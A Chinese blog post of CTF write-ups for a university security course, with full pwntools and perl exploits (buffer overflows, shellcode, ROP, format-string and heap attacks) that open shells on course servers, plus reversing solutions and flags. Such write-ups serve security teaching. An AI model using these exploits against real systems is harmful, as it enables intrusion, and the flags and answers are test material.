這堂課是台大、台科大、交大、中央(?聯合的資安課程
今年全上pwn跟reverse,跟前年不太一樣(前年還有教Web、Crypto…等)
這一篇文章主要放這門課作業和練習的Write up,記錄一下解法怕忘記
課程網站:https://csie.ctf.tw
[hw0] Pwn 1#
0x400566有個callme()
裡頭就是system("/bin/sh")
overflow蓋return address跳過去即可get shell
padding長度40
1
|
perl -e 'print "A"x40, "\x66\x05\x40\x00\x00\x00\x00\x00"'
|
1
|
FLAG{BuFFer_0V3Rflow_is_too_easy}
|
[hw0] Rev 1#
在0x8048420有個print_flag()
用gdb跑,在main先下斷點,讓他停住
然後直接set $eip=0x8048420
跑printf_flag
[hw0] Rev 2#
丟ida pro看一下
可發現它會把輸入的字串的每個字元都跟0xcc做XOR
然後結果會拿去跟某個字串做比較
比較相同會跳Congret
所以基本上就可以猜測,那個拿來跟輸入比較的字串就是XOR過的FLAG
直接整串每個字元拿去做XOR 0xcc即可還原FLAG
[hw0] BubbleSort#
這題有個DarkSoul()
,裡頭是system("sh")
所以目標很明顯,想辦法讓程式流程跑到這即可
在輸入要sort幾個數字的地方,可以輸入有號整數
可以輸入負數!
但傳進BubbleSort後,卻被當成無號整數來處理
例如-125會變130
所以排序時,有可能把array以外的記憶體抓出來比較
構造一下就能把某個值排到stack上的特定位置
0x8048580 = 134514048 // DarkSoul()
讓這個位址排到return address的位址即可
payload:
perl -e 'print "127\n","134514048 "x127,"\n","-125\n"'
FLAG{Bubble_sort_is_too_slow_and_this_question_is_too_easy}
[hw0] ret222#
這題開了各種保護,但exit時用mprotect,把name附近權限開成可寫可執行
這題有兩個洞:
- format string
- buffer overflow
挖一下可發現,%23
的位址是canary
、%25
是return address
因為name buffer可執行,所以可以想辦法塞shellcode
但是有PIE的關係,要先leak code base算name的位址
觀察可發現,%24
是libc_csu_init的位址
所以leak它就能去算name位址
但buffer很小,可以用format string一個個塞shellcode進去
最後用gets把return address蓋成name位址即可
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
from pwn import *
r = remote('csie.ctf.tw', 10122)
r.recvuntil('>')
r.send('1\n')
r.send('%23$p\n')
r.recvuntil('>')
r.send('2\n')
r.recvuntil('Name:')
canary = int(r.recvline()[:-20], 16)
r.recvuntil('>')
r.send('1\n')
r.send('%24$p\n')
r.recvuntil('>')
r.send('2\n')
r.recvuntil('Name:')
name = int(r.recvline()[:-20], 16) - 0xd40 + 0x202020
sh = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
for i in range(0, len(sh)):
r.recvuntil('>')
r.send('3\n')
r.recvuntil('Your data:')
r.send(p64(name + 16 +i) + '\n')
r.recvuntil('>')
r.send('1\n')
r.recvuntil('Your name:')
r.send('%'+str(ord(sh[i]))+'c'+'%6$hhn\n')
r.recvuntil('>')
r.send('2\n')
r.recvuntil('>')
r.send('1\n')
r.recvuntil('Your name:')
r.send('\x90'*16 + '\n') # NOP sled
r.recvuntil('>')
r.send('3\n')
r.recvuntil('Your data:')
r.send("A"*136+ p64(canary) +"A"*8 + p64(name) + '\n')
r.interactive()
|
FLAG{YOU_ARE_REALLY_SMART!!!!!!}
[practice] strings#
直接strings就噴FLAG了
strings ./strings-f83f44c269487fd909b2df1431bf65bb603e869b
FLAG{__flag_in_the_file}
[practice] strace#
直接strace它,但要把output size改大一點,不然後半段看不到
strace -s 10000 ./strace-b291608bfa48c94f508c35f7ab6ce46135b840a6
FLAG{____yaaaa_flag_in_the_stack___}
[practice] patching#
把它那個值patch成0x23333即可,可以用hexedit之類的tool去patch
FLAG{oa11TH80wfMEs6ZflBhGF4btUcS1Ds9y}
這題正規解法好像是用pwntool寫二分搜玩猜數字(?
我比較懶惰直接gdb跑,b main
再set $rip=0x400831
就會噴惹
FLAG{h02Ooysbv4O5Lf1Fmdrt2QKts7buYz0J}
[hw1] hw1#
這題觀察一下,可以發現它會對輸入字串做一些處理
它會把每個字元的ASCII值乘上(i+1 << (i+2) % 0xa) + 0x2333
最後把得到的值轉成4個char存進檔案中
整個加密是可逆的
整個反過來做就可以還原FLAG了
My script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
#include <iostream>
#include <string>
#include <fstream>
using namespace std;
int main() {
string s;
ifstream fin("flag-ee94f5c9452a6db022db1e4f3a036b375b3ac472");
getline(fin, s);
for(int i = 0; i < 38 ; ++i) {
int sum = 0;
int a = (unsigned char)s[4*i+2];
int b = (unsigned char)s[4*i+1];
int c = (unsigned char)s[4*i];
sum += a * 256 * 256 + b * 256 + c;
sum -= 9011;
char ch = sum / ((i + 1) << ((i + 2) % 0xa));
cout << ch;
}
cout << endl;
return 0;
}
|
FLAG{Iost4SXskSmu53CbCAI5e52FBJkj1JKl}
[practice] bof#
objdump -d -M intel ./bof 可以看到www (0x400686)
裡面直接call system
算一下buffer overflow padding = 40
就跳過去吧
payload:
(perl -e 'print "a"x40, "\x86\x06\x40\x00\x00\x00\x00\x00\n"';cat) | nc csie.ctf.tw 10125
FLAG{vCa9cA1Gkp6BlV0ZrKIdHJlT8fabo6hE}
[practice] ret2sc#
這題就是塞shellcode
然後buffer overflow跳過去run
payload:
(perl -e 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05","A"x321,"\x80\x10\x60\x00\x00\x00\x00\x00"';cat) | nc csie.ctf.tw 10126
FLAG{6EWQLMK1GDzMlV6vPFokzmtux4Fh42yJ}
[practice] ret2lib#
塞puts的got位址給他
讓他幫我們leak出來算libc base (puts_got - puts_offset)
然後直接overflow call system (base + system offset) 拿shell
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from pwn import *
padding = 56
puts_pot = "0x601018"
puts_off = 0x6f690
sh_offset = 0x18cd17
r = remote('csie.ctf.tw', 10127)
r.send(puts_pot + "\n")
r.recvuntil('content:')
puts_addr = r.recvline()
print puts_addr
base = int(puts_addr, 16) - puts_off
print hex(base)
system_addr = base + 0x45390
rdi_ret = 0x400823
r.send("A"*padding + p64(rdi_ret) + p64(base + sh_offset) + p64(system_addr) + p64(system_addr) + "\n")
r.interactive()
|
FLAG{O66cJwwT8lKl1oKhUG8DcwZxTSwnLaHu}
直接%x%x%x%x%x%x%x%x%x%x%x%x%x
就會噴出FLAG了,hex字串轉一下就行
FLAG{__format_str_exploit_OUO}
[hw2] gothijack#
這題name輸入時,不會被NULL截斷
但是在check的strlen
卻只會檢查到NULL以前
而且name buffer還可寫可執行
再加上這題提供我們任意寫入(Writesomething)
所以思路就很單純了
塞shellcode進name,最前頭塞\x00繞過檢查
之後再用任意寫入把puts got蓋成name buffer位址即可
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from pwn import *
r = remote('csie.ctf.tw', 10129)
r.recvuntil("What's your name :")
# name輸入一個NULL繞過check + execve("/bin/sh")
r.send("\x00\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\n")
r.recvuntil("Where do you want to write :")
# puts got
r.send("0x601020\n")
r.recvuntil("data :")
# name buffer的位址+1 (跳過NULL)
r.send("\xa1\x10\x60\x00\x00\x00\x00\x00\n")
r.interactive()
|
FLAG{G0THiJJack1NG}
[practice] simplerop_revenge#
這題題目長這樣:
1
2
3
4
5
6
7
8
9
|
#include <stdio.h>
#include <unistd.h>
int main(){
char buf[20];
puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
read(0,buf,160);
}
|
很明顯就是去overflow
然後串rop chain拿shell
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import *
pop_rdx = 0x4427e6
pop_rsi = 0x401577
pop_rdi = 0x401456
syscall = 0x4671b5
pop_rax_rdx_rbx = 0x478516
mov_drdi_rsi = 0x47a502
buf = 0x6c9a20
r = remote('csie.ctf.tw', 10130)
context.arch = "amd64"
payload = 'a'*40
rop = flat([pop_rdi, buf, pop_rsi, "/bin/sh\x00", mov_drdi_rsi, pop_rsi, 0, pop_rax_rdx_rbx, 0x3b, 0, 0, syscall])
payload += rop
r.sendline(payload)
r.interactive()
|
FLAG{TAKEMY_REVENGE}
[practice] ret2plt#
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
from pwn import *
puts_plt = 0x4004e0
puts_got = 0x601018
pop_rdi = 0x4006f3
puts_off = 0x6f690
system_off = 0x45390
sh_off = 0x18cd17
main = 0x400636
r = remote('csie.ctf.tw', 10131)
r.send('a'*40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) + "\n")
r.recvline()
a = r.recvline()
print a
b = u64(a.strip().ljust(8, "\x00"))
base = b - puts_off
system = system_off + base
print 'base:', base
r.send('a'*40 + p64(pop_rdi) + p64(sh_off + base) + p64(system) + "\n")
r.interactive()
|
FLAG{YOUCAN_RET_2_EVERYWHERE}
[practice] migr4ti0n#
這題就是stack migration的練習
buffer太小時,用這招就可以無限串rop
overflow時,蓋rbp,把stack搬到一個可寫的buffer繼續串
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
from pwn import *
buf = 0x602000 - 0x200
buf2 = buf + 0x100
pop_rbp = 0x400558
pop_rdi = 0x4006b3
pop_rsi_r15 = 0x4006b1
pop_rdx = 0x4006d4
leave = 0x40064a
read = 0x4004e0
puts = 0x4004d8
puts_got = 0x600fd8
puts_off = 0x6f690
padding = 'a' * (56 - 8)
r = remote('csie.ctf.tw', 10132)
r.send(padding + p64(buf) + p64(pop_rdi) + p64(0x00) + p64(pop_rsi_r15) + p64(buf) + p64(0x00) + p64(pop_rdx) + p64(0x100) + p64(read)+ p64(leave))
r.recvuntil(":")
r.send(p64(buf2) + p64(pop_rdi) + p64(puts_got) + p64(puts) + p64(pop_rdi) + p64(0x0) + p64(pop_rsi_r15) + p64(buf2) + p64(0x0) + p64(pop_rdx) + p64(0x100) + p64(read) + p64(leave) + "\n")
r.recvuntil("\n")
addr = u64(r.recvuntil("\n").strip().ljust(8, "\x00"))
base = addr - puts_off
print addr
print base
system = base + 0x45390
r.send(p64(buf) + p64(pop_rdi) + p64(buf2+4*8) + p64(system) + "/bin/sh\x00" + "\n")
r.interactive()
|
FLAG{49796c31e88bf1c45fc21212693e07cd652296dd}
[practice] cr4ck#
這題就是簡單的fmt任意讀練習
塞flag buffer的位址,然後用%7$s
去讀位址裡的值
64位元底下的位址,基本上都一定有NULL byte,所以通常都把位址塞最後
然後前面%7$s
之類的字串,不足8 bytes的要padding補滿
payload:
perl -e 'print "%7\$saaaa\xa0\x0b\x60\x00\x00\x00\x00\x00\n"' | nc csie.ctf.tw 10133
p.s. 在shell用perl送payload的時候,要記得用\跳脫$字號,不然會跟我一樣卡很久QQQQQ
FLAG{CRACKCR4CKCRaCK}
[practice] craxme#
就是個簡單的format string任意寫入的練習
把magic整個蓋成0xda
即可
注意的地方就只有padding要算好
exploit:
1
2
3
4
5
6
7
8
9
10
11
|
from pwn import *
magic = 0x60106c
r = remote('csie.ctf.tw', 10134)
# "%218c%8$": %6$
# "naaaaaaa": %7$
# "magic": %8$
r.sendline("%218c%8$naaaaaaa" + p64(magic))
r.interactive()
|
FLAG{JUST CRAXME!@_@}
[practice] craxme - 2#
這題跟上一題大同小異,就只是蓋的數字比較大
一口氣蓋的話,IO會跑很久炸掉
這裡我分兩次蓋,一次蓋2 bytes
exploit:
1
2
3
4
5
6
7
8
9
|
from pwn import *
magic = 0x60106c
r = remote('csie.ctf.tw', 10134)
#r = remote('localhost', 31337)
r.sendline("%45068c%10$hn%19138c%11$hn......" + p64(magic) + p64(magic+2))
r.interactive()
|
FLAG{this is the second flag!!!! >_<}
[practice] craxme - 3#
這題雖然跟前兩題一樣服務
但解法不太一樣,這題要拿shell才行
方法就是把puts got,蓋成main裡read那邊的位址
之後再把printf got,蓋成system got
最後read讀/bin/sh\x00
,會被當作system參數
就get shell惹
比較麻煩的地方是,如果是用我下面那種寫法
要準確算好要寫幾個bytes,然後前面輸出了幾個bytes要搞清楚
不然寫到後面會有點亂
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
|
from pwn import *
r = remote('csie.ctf.tw', 10134)
#r = remote('localhost', 10134)
print_got = 0x601030
puts_got = 0x601018
r.sendline("%13$n%64c%14$hn%15$n%1376c%16$hn%423c%17$hnaaaaaaaaaaaaa" + p64(print_got + 4) + p64(print_got + 2) + p64(puts_got + 2) + p64(print_got) + p64(puts_got) + "/bin/sh\x00")
r.send("cat /home/craxme/S3cretflag\n")
r.interactive()
|
FLAG{YOUF0UNDtheSECRETFL4G!?}
[hw3] readme#
這題,它overflow剛好可以蓋到return address
看起來沒啥能利用的東西,串ROP又太短
但仔細觀察會發現,read
讀的是從rbp-0x20
開始讀
並且讀完之後,接著做的就是leave和ret
那就可以做stack migration(聽說正確名稱叫stack pivoting
..)
就是蓋掉RBP之後,把return address蓋成main裡面的read那邊
這樣他就會把read讀到的東西,塞到我們指定的位址(rbp-0x20
)裡面了(任意寫入!)
之後read完,做leave ret
,就會把stack frame搬過去
而且read一樣可以讀48 bytes,一樣可以再蓋掉rbp和return address
就能無限寫入ROP chain
這邊我在做的時候遇到一個障礙,卡非常久
就是寫rop chain時,如果寫完一塊buffer
要再寫另一段rop chain,直接接在剛剛那塊後面
就會炸掉QQ
一開始完全想不通這樣哪邊會炸
追了一下才發現,read時,會蓋掉我們當前stack frame的返回位址
所以read裡面return時,就會跳到錯誤的位址QQ
詳細爆炸過程可以參考這個連結:
https://drive.google.com/file/d/0B0u00oV7NdOiS19pNmczaEFhdFE/view?usp=sharing
最後其中一個解決方法就是,再找一個buffer寫
可以跳過去之後,再回來接著寫,就不會炸了
然後因為沒有libc base
所以仔細觀察一下,發現read got跟write got其實只差最後1 byte
直接把read蓋成write
然後構造gadget,讓write去leak出write got entry的值
就能算libc base了
因為read被改掉了
可是我們接著還要繼續串rop
所以要先跳回去resolve read,還原read got
之後有了base之後就可以構造system("/bin/sh")
或是直接跳one gadget
拿shell
不過聽說這題有很多很多種解法
上課提示的好像是利用syscall
然後似乎也可以用撞的方式拿shell
要leak base的話,真的很麻煩=.=
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
from pwn import *
buf = 0x601048
buf2 = 0x601700
bufx = 0x601c00
pop_rbp = 0x400560
pop_rdi = 0x4006b3
pop_rsi_r15 = 0x4006b1
leave = 0x400646
read_plt = 0x4004c0
read_got = 0x601020
read = 0x40062b
read_res = 0x4004c6
nop = 0x90
padding = 'a' * (40 - 8)
#r = remote('localhost', 10135)
r = remote('140.112.31.96', 10135)
context.arch = "amd64"
r.send(padding + p64(buf + 32) + p64(read))
r.send(p64(pop_rdi) + p64(0x1) + p64(read_plt) + p64(pop_rbp) + p64(bufx + 32) + p64(read))
r.send(p64(0x1bd2) * 4 + p64(buf + 64) + p64(read))
r.send(p64(buf2) + p64(leave) + p64(0) * 2 + p64(bufx + 32) + p64(read))
r.send(p64(0x1bd2) * 4 + p64(buf2 + 32) + p64(read))
r.send(p64(bufx+0x20) + p64(pop_rsi_r15) + p64(bufx) + p64(0) + p64(bufx + 32) + p64(read))
r.send(p64(0x1bd2) * 4 + p64(buf2 + 64) + p64(read))
r.send(p64(pop_rdi) + p64(0) + p64(read_res) + p64(leave) + p64(bufx + 32) + p64(read))
r.send(p64(0x1bd2) * 4 + p64(read_got + 0x20) + p64(read))
r.send("\x80")
r.recvuntil(":")
a = u64(r.recv()[:8])
print hex(a)
write_off = 0xf7280
base = a - write_off
one_gadget = 0x4526a
r.send(p64(pop_rdi) + p64(0x1) + p64(read_plt) + p64(pop_rbp) + p64(read_got + 0x20) + p64(read))
r.send(p64(one_gadget+ base))
sleep(1)
r.sendline("cat /home/readme/flag\nls\n")
print r.recv()
|
FLAG{CAN_YOU_R34D_MY_M1ND?}
[hw4] fmtfun4u#
這題原本是有限次數的做printf
可以去修改stack中i的值,來達到無限次printf
利用%11
和%37
的位址,可以對stack中的位址做間接寫入
而libc_start_main+245
也在stack上,能被拿來leak libc base
最後一步,我們要控RIP
觀察、跟GDB,可以發現printf裡面會call vprintf_internal
透過改寫他的return address,就能控RIP
但是一樣有個問題,一次寫太多bytes,I/O會炸掉
而且不能分次寫入,因為如果分次寫,到下一次寫前會call printf
就先Segmentation Fault了
這裡可以利用將返回位址改寫成ret
的gadget
(沒錯,ret gadget剛好只有低位bytes跟原本return address不同)
再將真正要跳的位址(one gadget),放在stack中return address的下一個位址
這樣我們vprintf返回時,會跳到ret gadget
然後再跳到我們one gadget的位址
就拿到shell了
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
from pwn import *
r = remote('csie.ctf.tw', 10136)
#r = remote('localhost', 10136)
r.recvuntil(":")
r.send("%6$p\n")
addr = r.recvline()
stk_base = int(addr,16) - (14 * 16) # make %8 be base
r.recvuntil(":")
r.send("%" + str((stk_base - 4) % 0x10000) + "c%11$hn\n")
r.recvuntil(":")
r.send("%30c%37$hhn\n")
r.recvuntil(":")
r.send("%9$p\n")
addr = r.recvline()
print addr
base = int(addr,16) - 245 - 0x20740
one_gadget = 0x4526a + base
print "one gadget:", hex(one_gadget)
# leak code base
r.recvuntil(":")
r.send("%16$p\n")
addr = r.recvline()
print addr
code_base = int(addr, 16) - 0x830
puts_got = code_base + 0x200fb0
libc_got = code_base + 0x200fa0
print hex(one_gadget)
print hex((one_gadget) % 0x10000)
print hex((one_gadget / 0x10000) % 0x10000)
print hex((one_gadget / 0x100000000) % 0x10000)
# First, write one gadget into stack
r.recvuntil(":")
r.send("%" + str((stk_base - 0x10) % 0x10000) +"c%11$hn\n")
r.recvuntil(":")
r.send("%" + str((one_gadget) % 0x10000) +"c%37$hn\n")
r.recvuntil(":")
r.send("%" + str((stk_base - 0x10 + 2) % 0x10000) +"c%11$hn\n")
r.recvuntil(":")
r.send("%" + str((one_gadget / 0x10000) % 0x10000) +"c%37$hn\n")
r.recvuntil(":")
r.send("%" + str((stk_base - 0x10 + 4) % 0x10000) +"c%11$hn\n")
r.recvuntil(":")
r.send("%" + str((one_gadget / 0x100000000) % 0x10000) +"c%37$hn\n")
r.recvuntil(":")
r.send("%" + str((stk_base - 0x10 + 6) % 0x10000) +"c%11$hn\n")
# Write ret gadget to printf return address => return to the one gadget
r.recvuntil(":")
r.send("%" + str((stk_base - 0x18) % 0x10000) +"c%11$hn\n") # vprintf rbp - 0x28
pause()
r.recvuntil(":")
r.send("%" + str((code_base + 0x7c1) % 0x10000) +"c%37$hn\n")
r.interactive()
|
FLAG{FEED_MY_TURTLE}
[practice] hacknote#
這是我人生第一道heap題…
前年沒學heap,第一次搞花不少時間搞懂heap機制QQ
這題在考UAF
漏洞就是free(notelist[idx]);
free完沒設成NULL
目標是note裡面的printnote
這個function pointer
方法是做兩次add_note,然後分別free掉
最後再add_note,content size設跟note structure一樣大
這時note會被malloc到我們二個free掉的note
然後content會被malloc到第一個free掉的note
我們就可以藉由輸入content內容去控rip惹
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
from pwn import *
r = remote('csie.ctf.tw', 10137)
magic = 0x400c23
def add_note(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def del_note(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def print_note(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
add_note(0x52, "kai")
add_note(0x78, "bro")
del_note(0)
del_note(1)
add_note(16, p64(magic))
print_note(0)
r.interactive()
|
FLAG{YOUSHOULDTAKEnote~}
[hw4] hacknote2#
這題跟hacknote1
的洞一樣
只是call system被拔掉
我們可以先leak got算libc base
有base就可以算one gadget位址
之後直接跳過去one gadget就能拿shell了
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
from pwn import *
r = remote('csie.ctf.tw', 10139)
#r = remote('localhost', 10139)
print_note_fun = 0x400886
puts_got = 0x602028
def add_note(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def del_note(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def print_note(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
add_note(0x52, "dada")
add_note(0x78, "dada")
del_note(0)
del_note(1)
add_note(16, p64(print_note_fun) + p64(puts_got))
print_note(0)
r.recvuntil(":")
tmp = r.recvline()
addr = u64(tmp[:-1].ljust(8,"\x00"))
print hex(addr)
base = addr - 0x6f690
#system = base + 0x45390
#sh = base + 0x18cd17
one_gadget = base + 0xf0274
del_note(2)
add_note(16, p64(one_gadget))
print_note(0)
r.interactive()
|
FLAG{DEATHNOTE!!!!}
[practice] bamboofox1#
這題是考The house of force
看投影片看好久,size一直算錯,try了幾次之後才大概弄懂…
一開始會malloc bamboo:
bamboo = malloc(sizeof(struct box));
結束時,會call bamboo->goodbye_message();
所以就是想辦法hijack掉goodbye_message()
然後這題的change_item,不會檢查有沒超過原本長度
所以可以heap overflow
我們就先新增一個chunk,然後change它
length就設比原本的chunk長0x10,就可以剛好蓋到top chunk的size
把top chunk的size蓋成0xffffffffffffffffff
然後再malloc一個chunk,把top搬到我們要蓋的那塊chunk
(這邊length可以塞負的值,這邊要小心別算錯…)
之後就malloc一塊,去蓋goodbye_message,蓋成magic
最後exit,就會噴FLAG惹
exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
from pwn import *
r = remote('csie.ctf.tw', 10138)
#r = remote('localhost', 10138)
target = 0x400d49
big = 0xffffffffffffffff
def add_item(length, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(content)
def edit_item(index, length, content):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(index))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(content)
add_item(64, "abc")
edit_item(0, 80, "A"*64 + p64(0) + p64(big))
# item size, box size, sizeof(header)
# -(64 + 16) - (16 + 16) - 16
add_item(-128, "kai")
add_item(32, p64(target) * 2)
r.interactive()
|
[practice] bamboobox2#
觀察一下,可以發現在change_item()
裡面有個漏洞
當新的size比舊的size大,就能heap overflow
所以可以新增三個item
然後修改第二塊,設一個比原本大的長度去overflow,偽造一塊chunk
原本的layout:
chunk2_prev_size + chunk2_size + data + chunk3_prev_size + chunk3_size
修改data
,構造偽造的chunk,並overflow蓋到下一塊的header:
chunk2_prev_size + chunk2_size + fake_prev_size + fake_size + fake_fd + fake_bk + padding + fake_prev_size2 + fake_size2
其中原本指向第二塊的指標假設叫r
則為了在unlink時滿足檢查機制
-
fake_fd
必須設為&r-0x18
(&r - 0x18 + 0x18 = r
)
-
fake_bk
必須設為&r-0x10
(&r - 0x10 + 0x10 = r
)
-
chunk size
必須等於next chunk的prev_size
(fake_size == fake_prev_size2
)
做完以上事情之後,只要remove第三塊觸發第二塊的unlink,就能把r
指到&r - 0x18
(BSS段)
&r - 0x18
指到的是itemlist
的第一個item
接著可以對這個item寫入got位址(寫到name),再透過show()
把這個got內容印出來(可以算libc base)
最後再change第一個item一次,可以把got內容寫成system
之類的,就能getshell
script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
from pwn import *
r = remote('localhost', 5278)
def show():
r.recvuntil(':')
r.sendline('1')
def add(length, name):
r.recvuntil(':')
r.sendline('2')
r.recvuntil(':')
r.sendline(str(length))
r.recvuntil(':')
r.sendline(name)
def change(idx, length, name):
r.recvuntil(':')
r.sendline('3')
r.recvuntil(':')
r.sendline(str(idx))
r.recvuntil(':')
r.sendline(str(length))
r.recvuntil(':')
r.sendline(name)
def remove(idx):
r.recvuntil(':')
r.sendline('4')
r.recvuntil(':')
r.sendline(str(idx))
add(0x80, "a")
add(0x80, "a")
add(0x80, "a")
rr = 0x6020d8
atoi_got = 0x602068
atoi_off = 0x36e80
system_off = 0x45390
chunk = p64(0x90) + p64(0x81) # prev_size, size
chunk += p64(rr - 0x18) + p64(rr - 0x10) # fd, bk
chunk += "A"*0x60
chunk += p64(0x80) + p64(0x90) # prev_size2, size2
change(1, 0x100, chunk)
remove(2)
change(1,0x100,p64(0)+p64(atoi_got))
show()
r.recvuntil('0 : ')
libc = u64(r.recvuntil('1')[:-1].ljust(8,"\x00")) - atoi_off
print "libc:",hex(libc)
change(0, 0x100, p64(libc+system_off))
r.interactive()
|
[hw4] profile_manager#
我廢,還沒解出來QQ
最近專心搞Web,有空再研究
[hw5]#
先跳過
看到heap就頭痛
有空再玩
[hw6] break#
這題可以發現0x601080
藏著一串看起來很神祕的字串
87%就是FLAG加密過的樣子
瞧一下他怎麼加密的
發現他會在index=0,2,4,....
時,和0x01
做XOR
然後在index=1,3,5....
時,去和"Temporal Reverse Engineering"
對應字元做XOR
至於0x40066d這個call,應該是拿來混淆用的(?,用不到
逆著解就能拿到FLAG惹
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#include <iostream>
#include <string>
using namespace std;
int main()
{
ios_base::sync_with_stdio(0);
string t = "Temporal Reverse Engineering";
string s = "\x42\x01\x47\x15\x51\x19\x6F\x23\x45\x79\x40\x08\x48\x08\x75\x11\x73\x47\x60\x0c\x64\x0c\x6e\x14\x42\x06\x72\x1b\x6e\x38\x68\x14\x60\x12\x6d\x07\x45\x44\x63\x13\x66\x01\x68\x1a\x66\x56\x68\x1b\x69\x2e\x78\x08\x60\x1e\x68\x0c\x48\x3b\x72\x1a\x73\x05\x6c\x07\x6f\x55\x60\x12\x68\x09\x6f\x09";
for(int i = 0; i < s.size() - 1; i += 2) {
s[i] ^= 0x01;
s[i + 1] ^= (t[ i % t.size()] + 1);
}
cout << s << endl;
return 0;
}
|
CTF{PinADXAnInterfaceforCustomizableDebuggingwithDynamicInstrumentation}
[practice] calc#
用ida看,可以發現他會經過一連串的比較之後
才會噴出像FLAG的東西
這一串比較的東西,對應的字串就是3133731337.31337
所以其實只要在小算盤上,輸入這一串
就會噴FLAG惹
flag{31337_is_so_l33t}
[practice] shuffle#
這題打開來是一堆按鈕
按鈕上面的文字很明顯是FLAG
但是被打亂惹
重開程式,會發現排序也變惹
所以可猜測,這支程式會把FLAG塞進button
然後random打亂順序
我的解法:
打開Ollydbg的Windows視窗
可以看到每個按鈕的ID
照著ID大小排下來,就是原先FLAG的順序惹
FLAG{N0w_u_s3e_m3}
[practice] babyfast#
這題是fastbin corruption的練習題
fastbin corruption基本上就是
fastbin chunk在free的時候,只會檢查對應大小的fastbin上
有沒有要free的這一塊,有的話就代表double free然後abort
所以只要不讓他在fastbin的第一塊,就能夠繞過檢查,達到Double Free
例如:
malloc
兩塊同大小的chunk:A, B
然後free(A)
,再free(B)
這時候fastbin中大概長這樣:B -> A
這時候再free(A)
,就變成: A -> B -> A
然後A的fd因為指到B,所以實際上就變成circular linked list
如果這時候malloc(A)出來,那麼就有機會改掉A的fd
變成:B -> A -> 任意位址
以這題來說的話,我們就可以讓A的fd指到我們要偽造的chunk
我們讓他指到0x601ffa
,那他size對應到的就是0x60 (他這邊size只檢查4個byte,超過的會忽略)
因為size是0x60,所以allocate的時候要指定0x50
然後就剛好可以去蓋掉free的GOT
,蓋成system
(這題保護是Partial RELO
,所以GOT可改)
這樣我們只要把"/bin/sh\x00"
餵給free當參數,就能拿shell惹
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
from pwn import *
r = remote("csie.ctf.tw", 10142)
def allocate(size, data):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(data)
def free(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
allocate(0x50, "kaibro") #0
allocate(0x50, "kaibro") #1
allocate(0x50, "kaibro") #2
free(0)
free(1)
free(0)
fake_chunk = 0x601ffa
allocate(0x50, p64(fake_chunk)) #3
allocate(0x50, "/bin/sh\x00") #4
allocate(0x50, "kaibro") #5
system = 0x4007d0
allocate(0x50, "a" * 0xe + p64(system))
free(4)
r.interactive()
|
FLAG{FASTER~~~~}